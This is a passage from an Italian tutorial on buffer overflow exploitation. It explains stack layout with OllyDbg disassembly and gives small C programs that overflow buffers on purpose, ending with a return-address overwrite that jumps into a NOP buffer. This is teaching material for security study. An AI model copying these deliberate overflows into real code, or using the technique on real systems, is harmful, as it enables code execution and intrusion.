system exploitation using buffer overflow
DESCRIPTION
Un tutorial strutturato sulla vulnerabilità 'buffer overflow'. Da una prima analisi della struttura di un processo, alle moderne tecniche utilizzate per bypassare le protezioni dei moderni sistemi operativi.TRANSCRIPT
__________________________________________________
/ / \ \
| | .:: System exploitation using buffer overflow ::. | |
\ \__________________________________________________/ /
~ Matteo Tosato © 2010-11 ~
Rev. 2.2 - Last update: 19/07/2011
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 2 di 193
..:: A chi sa ascoltare ::..
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 3 di 193
..:: Indice:
0x00) Premessa
SEZIONE 1 ~ Introduzione e tecniche di base, linux-oriented:
0x01) Uno sguardo al compilatore, memoria e stack.
0x02) Allocazione di buffer
0x03) Corruzione dello stack
0x04) Esecuzione di codice dallo stack sovrascritto
0x05) Esecuzione di shellcode
0x06) Byte NOP
0x07) Realizzare una shellcode
0x08) Shellcode avanzate
0x09) Esempio exploit remoto
0x0a) L’analisi del codice sorgente
0x0b) Analisi tramite reverse engineering
0x0c) Bugs relativi al formato delle stringhe
0x0d) Bugs relativi all’allocazione nello heap
SEZIONE 2 ~ Argomenti avanzati, linux-oriented:
0x0e) Linux, exploit oggi, PaX e StackGuard
0x0f) Altri punti di vista
0x10) Sezioni .plt e .got
0x11) Return-oriented Programming, introduzione
0x12) Return-oriented shellcode
0x13) Exploit dei sistemi protetti
0x14) Polimorfismo - IDS/IPS evasion
SEZIONE 3 ~ Windows exploiting:
0x15) Windows e il “dll hell”
0x16) Stack based overflow exploit
0x17) SEH based exploit
0x18) Sistemi di sicurezza per Microsoft Windows
0x19) Tecniche miste e ROP
0x1a) Conclusioni ?
0x1b) Riferimenti bibliografici
Il testo può essere distribuito ma non modificato, l’utilizzo di contenuto in altri testi deve
sottostare alle condizioni di licenza.
Matteo Tosato. [email protected]
Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 4 di 193
0x00] Premessa
Questo testo costituisce una introduzione alla vulnerabilità ‘buffer overflow.
Ho cercato di presentare gli argomenti in modo sequenziale strutturando il documento come
tutorial.
Per comprendere il testo è sufficiente conoscere l'assembly, il C ed avere un minimo di
conoscenze sull’architettura si un sistema operativo.
La vulnerabilità della classe ‘buffer overflow’ è molto più diffusa di quanto si pensi. E' un
bug, un errore introdotto il più delle volte dal programmatore, ma non solo, anche da una
libreria difettosa. Gli attacchi tramite questa tecnica sono stati migliaia e continuano ad
essere tanti.
Ogni precisazione, domanda, curiosità, suggerimento è ben gradita. La condivisione di conoscenza
e opinioni è una delle più grandi risorse di cui disponiamo.
+ Strumenti:
- gcc 4.3.2 Linux
- gdb 6.8-debian Linux
- objdump GNU 2.18.0 Linux
- OllyDbg 10 Win
- Dev-C++ or Code::Blocks Win
- Immunity debugger 1.8x Win
- lcc-win32 Win
- Notepad++ 5.x Win
- NetBeans IDE
- Komodo edit
- Active Perl / python
- metasploit framework
- Ruby
- your brain ;)
0x01] (Arch: NT) – Uno sguardo al compilatore, memoria e stack.
Up
Per iniziare la nostra trattazzione sui buffer oeverflow, ripercorriamo velocemente alcune basi
sulle fasi della compilazione e su come il sistema operativo organizza la memoria. Questa
carrellata sarà molto veloce in quanto non è un obiettivo di questo testo affrontare tutte le
basi necessarie in modo completo.
Quando si scrive codice si utilizzano di fatto caratteri ASCII, interpretabili da un certo
compilatore, questo è un ‘parser’ per un dato linguaggio. Ovvero, è un programma in grado di
riconoscere i costrutti del linguaggio e di tradurli in un linguaggio più a basso livello, il
linguaggio del processore. Chiamato codice macchina.
Il seguente schema illustra queste fasi:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 5 di 193
Dopo queste operazioni si ottiene un codice che però è privo dei comandi di interfacciamento con
l’hardware. I file che contengono questo tipo di codice sono denominati ‘file oggetto’,
tipicamente hanno estensione “.obj” o “.o”.
Il linker è un’altro programma, incaricato di collegare il codice con i vari moduli a cui il
prgramma fa riferimento (sottoprogrammi o librerie).
Ad esempio le libc sono raccolte di codice che vengono collegate agli eseguibili. Solo dopo
questo procedimento possono essere utilizzate funzioni implementate in file esterni.
Il processo di collegamento può essere di tipo statico (static linking) o dinamico (dynamic
linking). Il primo specifica che il codice di cui necessita l’eseguibile viene copiato dalla
libreria all’eseguibile per intero, in questo modo si ottiene codice più indipendente, che non
necessita di file esterni. Allo stesso tempo si ha però un file di dimensione maggiore, dato che
contiene tutto il codice necessario.
Il linking dinamico farà risparmiare una quantità notevole di spazio su disco, ma il nostro file
eseguibile possiederà una serie di dipendenze verso altri file. Se una libreria utilizzata
dall’eseguibile viene cancellata, questo non funziona più, un eseguibile collegato dinamicamente
contiene solo dei riferimenti che indicano al loader quali librerie caricare a runtime, la
strategia adottata per specificare i riferimenti è dipendente dal formato del file eseguibile.
Solitamente si preferisce il collegamento dinamico, dato che i programmi moderni hanno centinaia
di dipendenze fra l’altro condivise con altri programmi, pertanto sarebbe impensabile avere
codice collegato solo staticamente.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 6 di 193
Si pensi a windows e il suo sistema di DLL. Queste sono moltissime e rappresentano il cuore del
sistema operativo.
La gestione della memoria avviene in modo diverso a seconda dell’architettura, ma per i nostri
scopi possiamo generalizzare ad un unico modello comune.
Sappiamo che la memoria centrale di un calcolatore (i moduli che si inseriscono a fianco del
processore) può arrivare anche ad alcuni Giga byte di dimensione. Questi moduli hanno locazioni
indirizzate fisicamente, solitamente il sistema operativo implementa un modo con il quale questi
indirizzi fisici vengono gestiti. Dal lato utente, non vedremo mai questi indirizzi fisici, il
sistema operativo tiene per se tali indirizzi e crea per ogni processo che avvia un ‘layout’ di
indirizzi virtuali.
Dal lato della programmazione, sappiamo che quando si allocano variabili locali all’interno di
funzioni, queste vengono allocate nell'area di stack. Questa è una frazione della parte di
memoria dedicata ad un processo la quale funge da parcheggio di dati che il programma utilizza
durante l'esecuzione.
Quando un processo viene caricato in memoria centrale il sistema operativo fa in modo che egli
abbia l'impressione di avere quanta più memoria vuole disponibile. Questo è possibile appunto
attraverso degli "indirizzi virtuali". Gli indirizzi virtuali sono relativi al processo
soltanto. Pertanto nel medesimo istante due processi possono avere una variabile allocata
all'indirizzo virtuale 0x1000.
Questa prodezza dei sistemi operativi è possibile grazie alla "memoria virtuale e alla
paginazione". E' abbastanza semplice. La memoria viene suddivisa in blocchi di N Kbytes,
L'indirizzo di questi blocchi rinominati pagine è memorizzato in una tabella. Questa si chiama
"Page Table".
Il processo utilizzerà al suo interno solo indirizzi virtuali, allora il tipo di indirizzi
inviati sul BUS saranno virtuali. Come è possibile che questi vengano interpretati correttamente
dalla CPU? In effetti la CPU non sa assolutamente nulla degli indirizzi virtuali per quel
determinato processo, è a conoscenza soltanto di indirizzi fisici della memoria centrale, qui
entra in gioco allora un particolare componente detto MMU (Memory Management Unit), questo
solitamente si trova all'interno del processore stesso. Ha il compito di gestire le chiamate
agli indirizzi del processore verso la memoria.
La MMU traduce l'indirizzo virtuale in fisico per la CPU. L'indirizzo virtuale è così composto:
i primi 20 bit identificano la pagina richiesta, i restanti 12 bit indicano l'offset all'interno
della pagina. L'indirizzo finale ottenuto è l'indirizzo fisico di memoria.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 7 di 193
Un indirizzo di 20 bit lascia presupporre ad un numero di entry per la page table pari a 220.
Solitamente è lunga 32 bit, ma può variare a seconda del S.O.
Il campo più importante è il "Page frame number" che identifica la pagina. Come prima cosa viene
utilizzato questo valore per mappare la pagina richiesta, viene controllato il valore del bit di
presenza, se questo è settato la pagina è valida e può essere utilizzata, se è 0 la pagina non è
in memoria in quel momento. L'accesso richiesto in questo caso produce una segnalazione di "page
fault". I bit "protection" identificano il tipo di accesso permesso, lettura scrittura ecc.. I
campi modified e referenced vengono utilizzati per effettuare il tracking di utilizzo della
pagina. Quando la pagina viene modificata viene settato il flag relativo ed il sistema operativo
sa che dovrà rimpiazzare quella presente su disco perchè è cambiata. Il campo referenced ha un
ruolo importante per gli algoritmi di rimpiazzamento delle pagine.
Può anche essere che la pagina richiesta non si trovi in memoria ma su disco, nel file paging di
windows o la partizione di swap di linux. A questo punto il sistema operativo in modo molto più
dispendioso, carica la pagina dal disco verso la memoria centrale. Mi fermerei qui tanto per non
addentrarci troppo nei particolari. Potreste approfondire l'argomento andandovi a vedere anche
in che cosa consiste il TLB (Translation lookside buffer) che velocizza le operazioni di
mappatura della memoria.
Dal punto di vista del programmatore in “user-space”, avremo sempre a che fare con il layout di
indirizzi virtuali.
La disposizione tipica dello spazio di memoria dedicato ad un processo è la seguente:
Ora è essenziale capire come i nostri programmi vengono eseguiti in memoria, per farlo possiamo
considerare la traduzione in assembly del codice.
Ho deciso di non affrontare i linguaggi assembly, C e l’architettura dei sistemi operativi dal
punto di vista sia teorico che pratico perché per questi argomenti, esiste già una corposa serie
di risorse disponibili on-line e completamente gratuite. Pertanto non ho ritenuto opportuno
inserire qui alcun capitolo dedicato.
In fondo al manuale, fra i riferimenti bibliografici ho inserito alcune delle risorse on-line di
mia conoscenza, utili per colmare le eventuali lacune per quanto riguarda le basi necessarie ad
affrontare questo testo.
Cominciamo quindi nello scrivere il programma seguente, utilizzeremo ollydbg sotto windows per
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 8 di 193
l'analisi.
--------- test01.c ------------------------
#include <stdio.h>
#include <stdlib.h>
void function(int a, int b, int c)
{
// [.....]
// without instructions
}
int main(int argc, char *argv[])
{
if(argc < 3) exit(-1);
int a = atoi(argv[1]);
int b = atoi(argv[2]);
int c = atoi(argv[3]);
function(a,b,c);
}
--------- test01.c END ---------------------
Vediamo la traduzione delle funzioni function() e main() in codice macchina e le modifiche
apportate allo stack.
In primis, non troviamo niente altro che il prologo e l'epilogo, questi preparano lo stack per
contenere le variabili e gli indirizzi relativi alla funzione chiamata.
00401290 /$ 55 PUSH EBP >>> Prologo
00401291 |. 89E5 MOV EBP,ESP >>>
00401293 |. 5D POP EBP <<< Epilogo
00401294 \. C3 RETN <<<
La funzione che segue è invece main:
00401295 /$ 55 PUSH EBP > avremo ebp in cima allo stack
0022FF48 /0022FF78
00401296 |. 89E5 MOV EBP,ESP
0022FF4C |004011E7 RETURN to stack_le.004011E7 from stack_le.00401295
00401298 |. 83EC 28 SUB ESP,28
0022FF50 |00000001
0040129B |. 83E4 F0 AND ESP,FFFFFFF0
0022FF54 |002E1078
0040129E |. B8 00000000 MOV EAX,0
......
004012A3 |. 83C0 0F ADD EAX,0F
004012A6 |. 83C0 0F ADD EAX,0F
004012A9 |. C1E8 04 SHR EAX,4
004012AC |. C1E0 04 SHL EAX,4
004012AF |. 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 9 di 193
004012B2 |. 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10]
004012B5 |. E8 B6040000 CALL stack_le.00401770 > valore nello stack! >>>> STACK:
004012BA |. E8 51010000 CALL stack_le.00401410 > valore nello stack! ha sottratto ben 10*4 bytes
004012BF |. 837D 08 02 CMP DWORD PTR SS:[EBP+8],2 ; |
004012C3 |. 7F 0C JG SHORT stack_le.004012D1 ; |
004012C5 |. C70424 FFFFFFF>MOV DWORD PTR SS:[ESP],-1 ; |
004012CC |. E8 9F050000 CALL <JMP.&msvcrt.exit> ; \exit > nel caso sbaglio il numero degli
004012D1 |> 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; ||| argomenti in ingresso, esce.
004012D4 |. 83C0 04 ADD EAX,4 ; |||
004012D7 |. 8B00 MOV EAX,DWORD PTR DS:[EAX] ; |||
004012D9 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |||
004012DC |. E8 7F050000 CALL <JMP.&msvcrt.atoi> ; ||\atoi
004012E1 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX ; ||
004012E4 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; ||
004012E7 |. 83C0 08 ADD EAX,8 ; ||
004012EA |. 8B00 MOV EAX,DWORD PTR DS:[EAX] ; ||
004012EC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; ||
004012EF |. E8 6C050000 CALL <JMP.&msvcrt.atoi> ; |\atoi
004012F4 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX ; |
004012F7 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; |
004012FA |. 83C0 0C ADD EAX,0C ; |
004012FD |. 8B00 MOV EAX,DWORD PTR DS:[EAX] ; |
004012FF |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
00401302 |. E8 59050000 CALL <JMP.&msvcrt.atoi> ; \atoi > tutto relativo alle funzioni atoi()
00401307 |. 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
0040130A |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
0040130D |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX
00401311 |. 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
00401314 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX
00401318 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
0040131B |. 890424 MOV DWORD PTR SS:[ESP],EAX
0040131E |. E8 6DFFFFFF CALL stack_le.00401290
Al momento della chiamata alla call ecco come si presenta lo stack (gli argomenti che ho passato
in linea di comando sono 1 4 e 6:
0022FF10 00000001 <<< 1° argomento
0022FF14 00000004 <<< 2° argomento
0022FF18 00000006 <<< 3° argomento
0022FF1C 004012BA RETURN to stack_le.004012BA from stack_le.00401770
A questo punto viene chiamata la procedura.
L'indirizzo di ritorno viene salvato nello stack, in modo sia possibile più tardi recuperarlo e
ritornare alla funzione chiamante.
0022FF0C 00401323 RETURN to stack_le.00401323 from stack_le.00401290
0022FF10 00000001 <<< 1° argomento
0022FF14 00000004 <<< 2° argomento
0022FF18 00000006 <<< 3° argomento
0022FF1C 004012BA RETURN to stack_le.004012BA from stack_le.00401770
Quando la funzione ha finito:
00401323 |. C9 LEAVE
00401324 \. C3 RETN
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 10 di 193
0x02] (Arch: NT) – Allocazione di buffers
Up
--------- test02.c ------------------------
#include <stdio.h>
#include <stdlib.h>
#define LARGE_SIZE 64
#define SMALL_SIZE 32
#define NOP 0x90
int main(int argc, char *argv[])
{
int c;
char large_buffer[LARGE_SIZE];
char small_buffer[SMALL_SIZE];
for(c=0;c<LARGE_SIZE;c++)
large_buffer[c] = NOP;
for(c=0;c<SMALL_SIZE;c++)
small_buffer[c] = NOP;
}
--------- test02.c END ---------------------
In questo secondo caso abbiamo tutto nella una funzione principale main.
Nella prima parte di questo listato di assembly il sistema alloca lo spazio che abbiamo
richiesto per i due buffer.
00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 81EC 88000000 SUB ESP,88
00401299 |. 83E4 F0 AND ESP,FFFFFFF0
0040129C |. B8 00000000 MOV EAX,0
004012A1 |. 83C0 0F ADD EAX,0F
004012A4 |. 83C0 0F ADD EAX,0F
004012A7 |. C1E8 04 SHR EAX,4
004012AA |. C1E0 04 SHL EAX,4
004012AD |. 8945 84 MOV DWORD PTR SS:[EBP-7C],EAX
004012B0 |. 8B45 84 MOV EAX,DWORD PTR SS:[EBP-7C]
004012B3 |. E8 88040000 CALL stack_le.00401740
004012B8 |. E8 23010000 CALL stack_le.004013E0
004012BD |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
Successivamente 2 cicli riempiono i due buffer utilizzando il nostro costrutto con il valore NOP
per il massimo della loro capacità, otteniamo i due buffer pieni.
004012C4 |> 837D F4 3F /CMP DWORD PTR SS:[EBP-C],3F
004012C8 |. 7F 13 |JG SHORT stack_le.004012DD
004012CA |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]
004012CD |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C]
004012D0 |. 83E8 50 |SUB EAX,50
004012D3 |. C600 90 |MOV BYTE PTR DS:[EAX],90
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 11 di 193
004012D6 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]
004012D9 |. FF00 |INC DWORD PTR DS:[EAX]
004012DB |.^EB E7 \JMP SHORT stack_le.004012C4
004012DD |> C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
004012E4 |> 837D F4 1F /CMP DWORD PTR SS:[EBP-C],1F
004012E8 |. 7F 13 |JG SHORT stack_le.004012FD
004012EA |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]
004012ED |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C]
004012F0 |. 83E8 70 |SUB EAX,70
004012F3 |. C600 90 |MOV BYTE PTR DS:[EAX],90
004012F6 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]
004012F9 |. FF00 |INC DWORD PTR DS:[EAX]
004012FB |.^EB E7 \JMP SHORT stack_le.004012E4
Non appena i due cicli finiscono, EIP contiene 004012FD, ovvero punterà all'istruzione
successiva:
004012FD |> C9 LEAVE
e poi
004012FE \. C3 RETN
all'istante prima di LEAVE lo stack avrà questa conformazione:
0022FEB0 00000000
0022FEB4 00000000
0022FEB8 007D1568
0022FEBC 004012B8 RETURN to stack_le.004012B8 from stack_le.00401740
0022FEC0 76F398CD RETURN to msvcrt.76F398CD from ntdll.RtlFreeHeap
0022FEC4 007D0000
0022FEC8 00000000
0022FECC 00000010
0022FED0 90909090 >\**********************************************************
0022FED4 90909090 >|
0022FED8 90909090 >|
0022FEDC 90909090 >| >> Questo è il buffer più piccolo.
0022FEE0 90909090 >|
0022FEE4 90909090 >|
0022FEE8 90909090 >|
0022FEEC 90909090 >|**********************************************************
0022FEF0 90909090 >|**********************************************************
0022FEF4 90909090 >|
0022FEF8 90909090 >|
0022FEFC 90909090 >|
0022FF00 90909090 >|
0022FF04 90909090 >|
0022FF08 90909090 >|
0022FF10 90909090 >| >> Questo è il buffer più grande.
0022FF14 90909090 >|
0022FF18 90909090 >|
0022FF1C 90909090 >|
0022FF20 90909090 >|
0022FF24 90909090 >|
0022FF28 90909090 >|
0022FF2C 90909090 >|
0022FF30 000000FC >|***********************************************************
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 12 di 193
Questo comportamento avviene solo se allochiamo la memoria per i buffer entro la nostra
funzione, in "local scope."
Sarebbe stata completamente diversa la situazione se avessimo sistemato le dichiarazioni
all’esterno di main in questo modo:
char large_buffer[LARGE_SIZE];
char small_buffer[SMALL_SIZE];
int main(int argc, char *argv[])
{
int c;
.......
così sarebbe in .data, ovvero i buffer sarebbero allocati utilizzando un’altra regione di
memoria, l’heap.
Nello stack non troveremmo i codici "0x90". Per pratica provate a debuggare questa versione e
troverete subito la differenza.
0x03] (Arch: NT) - Corruzione dello stack
Up
--------- test03.c ------------------------
#include <stdio.h>
#include <stdlib.h>
#define SIZE 32
#define TOO_LARGE 48
#define NOP 0x90
int main(int argc, char *argv[])
{
int z;
char buffer[SIZE];
for(z=0;z<TOO_LARGE;z++)
buffer[z] = NOP;
}
--------- test03.c END ---------------------
Nella funzione proposta è presente un errore grossolano circa il riempimento del buffer
precedentemente allocato.
Nel codice cerco di riempire il buffer più della sua dimensione massima consentita, provocando
così il suo traboccamento!
Che riverserà byte nello stack, nello spazio contiguo al buffer.
prima di vedere lo stack, ecco la traduzione in assembly:
00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 83EC 48 SUB ESP,48
00401296 |. 83E4 F0 AND ESP,FFFFFFF0
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 13 di 193
00401299 |. B8 00000000 MOV EAX,0
0040129E |. 83C0 0F ADD EAX,0F
004012A1 |. 83C0 0F ADD EAX,0F
004012A4 |. C1E8 04 SHR EAX,4
004012A7 |. C1E0 04 SHL EAX,4
004012AA |. 8945 C4 MOV DWORD PTR SS:[EBP-3C],EAX
004012AD |. 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C]
004012B0 |. E8 6B040000 CALL mem_corr.00401720
004012B5 |. E8 06010000 CALL mem_corr.004013C0
004012BA |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
004012C1 |> 837D F4 2F /CMP DWORD PTR SS:[EBP-C],2F
004012C5 |. 7F 13 |JG SHORT mem_corr.004012DA
004012C7 |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]
004012CA |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C]
004012CD |. 83E8 30 |SUB EAX,30
004012D0 |. C600 90 |MOV BYTE PTR DS:[EAX],90
004012D3 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]
004012D6 |. FF00 |INC DWORD PTR DS:[EAX]
004012D8 |.^EB E7 \JMP SHORT mem_corr.004012C1
004012DA |> C9 LEAVE
004012DB \. C3 RETN
Ora, la condizione dello stack all'istante in cui la CPU si trova sull'istruzione: “LEAVE a
004012DA”
0022FEF0 0022FED0 --->> cima dello stack
0022FEF4 00000002
0022FEF8 003F1568
0022FEFC 004012B5
0022FF00 049F6951
0022FF04 FFFFFFFE
0022FF08 757C98DA
0022FF0C 00000010
0022FF10 90909090 --->> Indirizzo ed inizio di buffer
0022FF14 90909090 *
0022FF18 90909090 *
0022FF1C 90909090 *
0022FF20 90909090 *
0022FF24 90909090 *
0022FF28 90909090 *
0022FF2C 90909090 * --- > Dimensione del buffer dichiarata: 32 bytes.
0022FF30 90909090 * > Traboccamento causato dall'errore che ho inserito.
0022FF34 90909090 * > cosa è accaduto? La scrittura del valore NOP è continuata oltre la memoria allocata
0022FF38 90909090 * > andando a sovrascrivere pericolosamente lo stack.
0022FF3C 00000091 > --->>>>> Mi sarei aspettato che la sovrascrittura dello stack avesse
0022FF40 /0022FF48 > continuato fino a 0022FF3C. Invece si blocca 4 bytes prima.
0022FF44 |757D9E34 > Durante il debug vediamo che la variabile 'z' è allocata
0022FF48 ]0022FF78 > a 0022FF3F. Lo straboccamento quando arriva lì scrive 0x90 in z.
0022FF4C |004011E7 > il ciclo successivo incrementa z (infatti vedete, in z c'è 0x91). A questo punto
0022FF50 |00000001 > si tenta la scrittura di buffer[0x91] con 0x90.
0022FF54 |003F1078 > &buffer[0x91] corrisponde ad una posizione non accessibile dal nostro programma.
0022FF58 |003F1568
0022FF5C |FFFFFFFF
0022FF60 |0022FF70
0022FF64 |757D15A0
0022FF68 |00400000
0022FF6C |003F1568
0022FF70 |00000000
0022FF74 |7FFD5000
0022FF78 ]0022FF88
0022FF7C |00401238
0022FF80 |00000001
0022FF84 |00000000
0022FF88 ]0022FF94
0022FF8C |770E1174 RETURN to kernel32.770E1174 >>>> Indirizzo di ritorno di main
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 14 di 193
L’errore che il kernel ci presenta è "segmentation fault". Ed il programma viene terminato dal
sistema. (se fossimo in kernel-mode questo errore manderebbe in blocco l’intero computer)
Questo esempio è utile per comprendere il funzionamento dello stack e dei problemi causati dalla
mancanza di controllo durante le operazioni di copia con l'uso dei buffer.
Vale la pena perdere tempo a riguardarlo e provare a e debuggarlo per fissare i concetti.
0x04] (Arch: NT) - Esecuzione di codice dallo stack sovrascritto
Up
--------- test04.c ------------------------
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
// Per sicurezza allochiamo all'esterno di main le variabili e my_buffer che non devono
// essere toccate.
int i;
char my_buffer[] = ”\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90";
char large_string[192];
int main(int argc, char *argv[])
{
char buffer[SIZE]; //Il buffer
// Riempio completamente tutto il buffer large_string con l'indirizzo di buffer:
long *long_ptr = (long*)large_string;
for(i=0;i<54;i++)
*(long_ptr+i) = (int)buffer;
// Posizioniamo la sequenza di 0x90 all'inizio di buffer:
for(i=0; i<strlen(my_buffer);i++)
large_string[i] = my_buffer[i];
// L'indirizzo di ritorno viene sovrascritto con l'indirizzo di buffer, che contiene il nostro
// codice che viene eseguito:
for(i=0;i<192;i++)
buffer[i] = large_string[i];
}
--------- test04.c END ---------------------
Per fare questo esempio ho allocato fuori da main le variabili che non devono essere
sovrascritte, un'altra soluzione potrebbe essere quella di dichiararle dopo di ‘buffer’. A
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 15 di 193
differenza del passo precedente, dove andavamo a sovrascrivere lo stack senza pensarci, andando
a finire in una zona di memoria in cui non potevamo andare, questa volta mi sono soffermato ad
analizzare bene lo stack premeditando ciò che sarebbe successo sovrascrivendo punti precisi.
La prima cosa che main fa è allocare ‘SIZE’ bytes nello stack (buffer).
Ho poi preso l'indirizzo di buffer e l'ho copiato nella stringa più larga di 192-128 bytes
rispetto buffer, dichiarata all'esterno di main (large_string).
A questo punto inserisco in testa a large_string la mia stringa my_buffer, anche essa allocata
fuori da main, contiene una serie di codici esadecimali interpretabili dalla CPU direttamente.
L'ultimo spezzone di main è la chiave di tutto. Il ciclo copia large_string in buffer, ma come
sapete, buffer è più piccola di large_string, quindi ci sono ben 64 bytes che straboccano da
buffer e vengono copiati nello stack contiguamente a buffer.
Quindi proseguendo nella copia l'indirizzo di ritorno di main posto in precedenza nello stack
viene sovrascritto con l'indirizzo di buffer.
Ora, il programma prosegue e main arriva all'istruzione RET, ovvero di ritorno. Qui viene
prelevato il valore puntato da ESP nello stack, il quale dovrebbe corrispondere all’indirizzo di
ritorno della funzione chiamata. Ma siccome abbiamo sovrascritto lo stack, tale locazione di
conterrà l'indirizzo del nostro buffer.
Che succede a questo punto? Semplice, EIP viene riempito con l'indirizzo di my_buffer e la CPU
salta alla prima istruzione del nostro array. In parole spicce, questa è la tecnica su cui si
basano gli attacchi che sfruttano gli errori di gestione dei buffer.
Nell'esempio ho riempito my_buffer di sequenze NOP (opcode 0x90), ovvero "nessuna operazione",
in questo caso la CPU procede senza fare nulla ritrovandosi poi in una zona di memoria che
contiene valori inadeguati causando un errore "memory exception".
Se io avessi riempito my_buffer di una qualunque altra sequenza di OPCODE, la CPU avrebbe
eseguito. E' possibile riempire my_buffer con qualsiasi sequenza di OPCODE, se la sequenza è
stata prodotta correttamente, il codice viene eseguito, di qualsiasi natura esso faccia parte.
Un programma con un errore del genere, se scoperto, può essere utilizzato per aprire backdoor
oppure semplicemente provocare un DoS.
Non riporto il disassemblato, passiamo subito a dare un'occhiata allo stack,
prima dell'ultimo ciclo di copia:
0022FE80 00402000 < Testa dello stack
0022FE84 0022FDBC
0022FE88 00891568
0022FE8C 004012BE
0022FE90 7732D74D
0022FE94 0485E61A
0022FE98 FFFFFFFE
0022FE9C 7736316F
0022FEA0 77362D68
0022FEA4 00891058
[...]
0022FF2C 00000104
0022FF30 000000FC
0022FF34 005D1FF8
0022FF38 0000003F
0022FF3C 00000002
0022FF40 /0022FF48
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 16 di 193
0022FF44 |757D9E34
0022FF48 ]0022FF78
0022FF4C |004011E7 < RETURN to mem_corr.004011E7 from mem_corr.00401290
La maggior parte dello stack è occupato dall'allocazione di buffer[], nella prossima videata
potremo anche vedere dove precisamente troviamo l'indirizzo di buffer, dove inizia la copia del
nostro ciclo, dove l'allocazione di buffer termina ed infine la zona che andiamo a
sovrascrivere.
Lo stack durante il ciclo di copia al loop numero SIZE, ovvero la dimensione di buffer:
0022FE80 00402000 mem_corr.00402000
0022FE84 0022FDBC
0022FE88 00891568
0022FE8C 004012BE RETURN to mem_corr.004012BE from mem_corr.004017C0
0022FE90 7732D74D ntdll.7732D74D
0022FE94 0485E61A
0022FE98 FFFFFFFE
0022FE9C 7736316F RETURN to ntdll.7736316F from ntdll.77356BFD
0022FEA0 77362D68 RETURN to ntdll.77362D68 from ntdll.77362D72
0022FEA4 00891058
0022FEA8 00891060
0022FEAC 00000010
0022FEB0 00000000
0022FEB4 00000000
0022FEB8 00891058
0022FEBC 00404070 mem_corr.00404070
0022FEC0 90909090 << Lasciando perdere la parte sopra, in questo punto ovvero 0022fec0 inizia buffer, con la sequenza
0022FEC4 90909090 << di NOP che abbiamo inserito in testa.
0022FEC8 90909090
0022FECC 90909090
0022FED0 90909090
0022FED4 90909090
0022FED8 90909090
0022FEDC 90909090
0022FEE0 90909090
0022FEE4 90909090
0022FEE8 00229090 << Qui la nostra sequenza termina e la copia continua con l'indirizzo di buffer.
0022FEEC 0022FEC0
0022FEF0 0022FEC0
0022FEF4 0022FEC0
0022FEF8 0022FEC0
0022FEFC 0022FEC0
0022FF00 0022FEC0
0022FF04 0022FEC0
0022FF08 0022FEC0
0022FF0C 0022FEC0
0022FF10 0022FEC0
0022FF14 0022FEC0
0022FF18 0022FEC0
0022FF1C 0022FEC0
0022FF20 0022FEC0
0022FF24 0022FEC0
0022FF28 0022FEC0
0022FF2C 0022FEC0
0022FF30 0022FEC0
0022FF34 0022FEC0
0022FF38 0022FEC0
